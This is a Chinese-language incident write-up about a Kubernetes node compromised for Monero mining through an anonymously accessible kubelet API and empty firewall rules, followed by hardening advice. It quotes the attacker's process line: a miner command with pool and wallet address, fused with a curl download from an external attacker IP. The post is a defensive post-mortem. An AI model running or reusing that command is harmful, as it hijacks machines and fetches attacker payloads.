當(dāng)前位置:首頁 > 公眾號精選 > 架構(gòu)師社區(qū)
[導(dǎo)讀]近期遇到了一次我們自建Kubernetes集群中某臺機器被入侵挖礦,后續(xù)也找到了原因,所幸只是用來挖礦…網(wǎng)絡(luò)安全是個嚴肅的問題,它總是在不經(jīng)意間出現(xiàn),等你反應(yīng)過來卻已經(jīng)遲了。希望各位讀者看完后也有所啟發(fā),去檢查及加固自己的集群。入侵現(xiàn)象檢查到某臺機器中出現(xiàn)了異常進程./.syst...



近期遇到了一次我們自建 Kubernetes 集群中某臺機器被入侵挖礦,后續(xù)也找到了原因,所幸只是用來挖礦…網(wǎng)絡(luò)安全是個嚴肅的問題,它總是在不經(jīng)意間出現(xiàn),等你反應(yīng)過來卻已經(jīng)遲了。希望各位讀者看完后也有所啟發(fā),去檢查及加固自己的集群。

入侵現(xiàn)象

檢查到某臺機器中出現(xiàn)了異常進程

./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCmcurl -s http://45.9.148.35/scan_threads.dat

簡單來講,就是我們的機器被用來挖礦了…

問題出現(xiàn)后,我們第一時間關(guān)閉了docker,其實應(yīng)該隔離下環(huán)境, 把挖礦程序dump下來,以便后續(xù)分析。

具體原因排查

iptables為空

出現(xiàn)了異常進程,肯定是被入侵了,我首先看的是 iptables?。果不其然,機器上的 iptables 規(guī)則是空的,意味著這臺機器在裸奔。

kubelet裸奔

內(nèi)部同事提出了有可能是 kubelet 被入侵的問題,檢查過其他組件后,開始檢查 kubelet 組件

最后檢查到 kubelet 日志中有異常:

kubelet設(shè)置不當(dāng)

確認入侵問題,kubelet 參數(shù)設(shè)置錯誤,允許直接訪問 kubelet 的 api

發(fā)現(xiàn)是 kubelet 的啟動項中,該位置被注釋掉:

然后文件中禁止匿名訪問的配置沒有讀取

該項配置是由于我操作不當(dāng)注釋掉的

由于是新增加的機器,當(dāng)晚就發(fā)現(xiàn)了問題,整個集群是我在管理的,我跟隨著一起排查,所以很快就找到了原因,當(dāng)晚我就把其他機器中的配置項重新掃了一遍,假如它們的防火墻失效了,也會有類似的入侵情況發(fā)生,還好此次事件控制在1臺機器中。

改進方案

其實該問題理論上講是可以避免的,是因為出現(xiàn)了多層漏洞才會被有心人掃到,我從外到內(nèi)整理了一下可能改進的策略。

  1. 機器防火墻設(shè)置,機器防火墻是整個系統(tǒng)最外層,即使機器的防火墻同步失敗,也不能默認開放所有端口,而是應(yīng)該全部關(guān)閉,等待管理員連接到tty終端上檢查。

  2. 使用機器時,假如機器不是暴露給外部使用的,公網(wǎng)IP可有可無的時候,盡量不要有公網(wǎng)IP,我們的機器才上線1天就被掃描到了漏洞,可想而知,公網(wǎng)上是多么的危險

  3. 使用kubelet以及其他系統(tǒng)服務(wù)時,端口監(jiān)聽方面是不是該有所考量?能不能不監(jiān)聽 0.0.0.0,而是只監(jiān)聽本機的內(nèi)網(wǎng)IP。

  4. 使用kubelet以及其他程序,設(shè)計或是搭建系統(tǒng)時, 對于匿名訪問時的權(quán)限控制, 我們需要考慮到假如端口匿名會出現(xiàn)什么問題,是否應(yīng)該允許匿名訪問,如果不允許匿名訪問,那么怎么做一套鑒權(quán)系統(tǒng)?

  5. 系統(tǒng)管理員操作時,是否有一個比較規(guī)范化的流程,是不是該只使用腳本操作線上環(huán)境? 手動操作線上環(huán)境帶來的問題并不好排查和定位。
    我這里不是拋出疑問,只是想告訴大家,考慮系統(tǒng)設(shè)計時,有必要考慮下安全性。

總結(jié)

發(fā)生了入侵事件后,同事開玩笑說,還好沒其他經(jīng)濟損失,要不我可能要回家了。作為集群的管理員,只有自己最清楚問題的嚴重程度。從本質(zhì)上來講,問題已經(jīng)相當(dāng)嚴重了。入侵者相當(dāng)于擁有了機器上docker的完整控制權(quán)限。如果讀者有讀過我關(guān)于docker系列的內(nèi)容,就對權(quán)限上了解清楚了。因為此次事件的發(fā)生,不只是我,還有SA的同學(xué)基本都被diao了一遍,心里還是有點難受的,希望大家能對網(wǎng)絡(luò)安全問題有所重視,從加固防火墻開始,避免監(jiān)聽不必要的端口,這兩項至少是最容易實現(xiàn)的。

本站聲明: 本文章由作者或相關(guān)機構(gòu)授權(quán)發(fā)布,目的在于傳遞更多信息,并不代表本站贊同其觀點,本站亦不保證或承諾內(nèi)容真實性等。需要轉(zhuǎn)載請聯(lián)系該專欄作者,如若文章內(nèi)容侵犯您的權(quán)益,請及時聯(lián)系本站刪除。
換一批
延伸閱讀

9月2日消息,不造車的華為或?qū)⒋呱龈蟮莫毥谦F公司,隨著阿維塔和賽力斯的入局,華為引望愈發(fā)顯得引人矚目。

關(guān)鍵字: 阿維塔 塞力斯 華為

加利福尼亞州圣克拉拉縣2024年8月30日 /美通社/ -- 數(shù)字化轉(zhuǎn)型技術(shù)解決方案公司Trianz今天宣布,該公司與Amazon Web Services (AWS)簽訂了...

關(guān)鍵字: AWS AN BSP 數(shù)字化

倫敦2024年8月29日 /美通社/ -- 英國汽車技術(shù)公司SODA.Auto推出其旗艦產(chǎn)品SODA V,這是全球首款涵蓋汽車工程師從創(chuàng)意到認證的所有需求的工具,可用于創(chuàng)建軟件定義汽車。 SODA V工具的開發(fā)耗時1.5...

關(guān)鍵字: 汽車 人工智能 智能驅(qū)動 BSP

北京2024年8月28日 /美通社/ -- 越來越多用戶希望企業(yè)業(yè)務(wù)能7×24不間斷運行,同時企業(yè)卻面臨越來越多業(yè)務(wù)中斷的風(fēng)險,如企業(yè)系統(tǒng)復(fù)雜性的增加,頻繁的功能更新和發(fā)布等。如何確保業(yè)務(wù)連續(xù)性,提升韌性,成...

關(guān)鍵字: 亞馬遜 解密 控制平面 BSP

8月30日消息,據(jù)媒體報道,騰訊和網(wǎng)易近期正在縮減他們對日本游戲市場的投資。

關(guān)鍵字: 騰訊 編碼器 CPU

8月28日消息,今天上午,2024中國國際大數(shù)據(jù)產(chǎn)業(yè)博覽會開幕式在貴陽舉行,華為董事、質(zhì)量流程IT總裁陶景文發(fā)表了演講。

關(guān)鍵字: 華為 12nm EDA 半導(dǎo)體

8月28日消息,在2024中國國際大數(shù)據(jù)產(chǎn)業(yè)博覽會上,華為常務(wù)董事、華為云CEO張平安發(fā)表演講稱,數(shù)字世界的話語權(quán)最終是由生態(tài)的繁榮決定的。

關(guān)鍵字: 華為 12nm 手機 衛(wèi)星通信

要點: 有效應(yīng)對環(huán)境變化,經(jīng)營業(yè)績穩(wěn)中有升 落實提質(zhì)增效舉措,毛利潤率延續(xù)升勢 戰(zhàn)略布局成效顯著,戰(zhàn)新業(yè)務(wù)引領(lǐng)增長 以科技創(chuàng)新為引領(lǐng),提升企業(yè)核心競爭力 堅持高質(zhì)量發(fā)展策略,塑強核心競爭優(yōu)勢...

關(guān)鍵字: 通信 BSP 電信運營商 數(shù)字經(jīng)濟

北京2024年8月27日 /美通社/ -- 8月21日,由中央廣播電視總臺與中國電影電視技術(shù)學(xué)會聯(lián)合牽頭組建的NVI技術(shù)創(chuàng)新聯(lián)盟在BIRTV2024超高清全產(chǎn)業(yè)鏈發(fā)展研討會上宣布正式成立。 活動現(xiàn)場 NVI技術(shù)創(chuàng)新聯(lián)...

關(guān)鍵字: VI 傳輸協(xié)議 音頻 BSP

北京2024年8月27日 /美通社/ -- 在8月23日舉辦的2024年長三角生態(tài)綠色一體化發(fā)展示范區(qū)聯(lián)合招商會上,軟通動力信息技術(shù)(集團)股份有限公司(以下簡稱"軟通動力")與長三角投資(上海)有限...

關(guān)鍵字: BSP 信息技術(shù)
關(guān)閉